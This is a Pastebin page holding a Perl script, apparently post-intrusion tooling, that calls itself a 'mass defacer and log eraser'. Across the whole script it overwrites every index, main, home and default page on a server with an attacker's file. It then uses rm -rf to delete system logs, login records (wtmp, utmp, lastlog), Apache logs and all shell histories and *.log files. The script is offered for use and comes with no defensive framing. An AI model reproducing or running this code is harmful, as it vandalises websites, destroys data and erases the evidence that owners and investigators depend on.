Advertisement
4c1d-burn

[Perl] Mass Defacer & Log Eraser

Dec 29th, 2011
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.56 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use strict;
  3. my $index = $ARGV[0];
  4. if ($ARGV[0])
  5. {
  6. if( -e $index )
  7. {
  8. system "echo -e \"\033[01;34mStarted MSRml V0.1[ll Ok !!\033[01;37m\"\n";
  9. system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n";
  10. system "find / -name \"index*\" -exec cp $index {} \\;";
  11. system "find / -name \"main*\" -exec cp $index {} \\;";
  12. system "find / -name \"home*\" -exec cp $index {} \\;";
  13. system "find / -name \"default*\" -exec cp $index {} \\;";
  14. system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n";
  15. system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n";
  16. system "echo -e \"\\033[01;37mCleaning up logs ...\"\n";
  17. system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
  18. if( -e "/var/log/lastlog" )
  19. {
  20. system 'rm -rf /var/log/lastlog';
  21. system "echo -e \"\\033[01;37m[*]/var/log/lastlog -erased Ok\"\n";
  22. }
  23. else
  24. {
  25. system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
  26. }
  27. if( -e "/var/log/wtmp" )
  28. {
  29. system 'rm -rf /var/log/wtmp';
  30. system "echo -e \"\\033[01;37m[*]/var/log/wtmp -erased Ok\"\n";
  31. }
  32. else
  33. {
  34. system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
  35. }
  36. if( -e "/etc/wtmp" )
  37. {
  38. system 'rm -rf /etc/wtmp';
  39. system "echo -e \"\\033[01;37m[*]/etc/wtmp -erased Ok\"\n";
  40. }
  41. else
  42. {
  43. system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
  44. }
  45. if( -e "/var/run/utmp" )
  46. {
  47. system 'rm -rf /var/run/utmp';
  48. system "echo -e \"\\033[01;37m[*]/var/run/utmp -erased Ok\"\n";
  49. }
  50. else
  51. {
  52. system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
  53. }
  54. if( -e "/etc/utmp" )
  55. {
  56. system 'rm -rf /etc/utmp';
  57. system "echo -e \"\\033[01;37m[*]/etc/utmp -erased Ok\"\n";
  58. }
  59. else
  60. {
  61. system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
  62. }
  63. if( -e "/var/log" )
  64. {
  65. system 'rm -rf /var/log';
  66. system "echo -e \"\\033[01;37m[*]/var/log -erased Ok\"\n";
  67. }
  68. else
  69. {
  70. system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
  71. }
  72. if( -e "/var/logs" )
  73. {
  74. system 'rm -rf /var/logs';
  75. system "echo -e \"\\033[01;37m[*]/var/logs -erased Ok\"\n";
  76. }
  77. else
  78. {
  79. system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
  80. }
  81. if( -e "/var/adm" )
  82. {
  83. system 'rm -rf /var/adm';
  84. system "echo -e \"\\033[01;37m[*]/var/adm -erased Ok\"\n";
  85. }
  86. else
  87. {
  88. system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
  89. }
  90. if( -e "/var/apache/log" )
  91. {
  92. system 'rm -rf /var/apache/log';
  93. system "echo -e \"\\033[01;37m[*]/var/apache/log -erased Ok\"\n";
  94. }
  95. else
  96. {
  97. system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
  98. }
  99. if( -e "/var/apache/logs" )
  100. {
  101. system 'rm -rf /var/apache/logs';
  102. system "echo -e \"\\033[01;37m[*]/var/apache/logs -erased Ok\"\n";
  103. }
  104. else
  105. {
  106. system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
  107. }
  108. if( -e "/usr/local/apache/log" )
  109. {
  110. system 'rm -rf /usr/local/apache/log';
  111. system "echo -e \"\\033[01;37m[*]/usr/local/apache/log -erased Ok\"\n";
  112. }
  113. else
  114. {
  115. system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
  116. }
  117. if( -e "/usr/local/apache/logs" )
  118. {
  119. system 'rm -rf /usr/local/apache/logs';
  120. system "echo -e \"\\033[01;37m[*]/usr/local/apache/logs -erased Ok\"\n";
  121. }
  122. else
  123. {
  124. system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
  125. }
  126. if( -e "/root/.bash_history" )
  127. {
  128. system 'rm -rf /root/.bash_history';
  129. system "echo -e \"\\033[01;37m[*]/root/.bash_history -erased Ok\"\n";
  130. }
  131. else
  132. {
  133. system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
  134. }
  135. if( -e "/root/.ksh_history" )
  136. {
  137. system 'rm -rf /root/.ksh_history';
  138. system "echo -e \"\\033[01;37m[*]/root/.ksh_history -erased Ok\"\n";
  139. }
  140. else
  141. {
  142. system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
  143. }
  144. system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
  145. system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
  146. system 'find / -name *.bash_history -exec rm -rf {} \;';
  147. system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
  148. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  149. system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
  150. system 'find / -name "log*" -exec rm -rf {} \;';
  151. system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
  152. system 'find / -name *.log -exec rm -rf {} \;';
  153. system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
  154. system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
  155. system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n";
  156. system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n";
  157. }
  158. else
  159. {
  160. system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n";
  161. exit;
  162. }
  163. }
  164. else
  165. {
  166. system "echo -e \"\\033[01;37m!!mass defacer and log eraser !!\"\n";
  167. system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!
  168. [ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n";
  169. system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\"\n";
  170. system "echo -e \"\\033[01;37musage : perl $0 <path too u're index>\"\n";
  171. system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n";
  172. exit;
  173. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement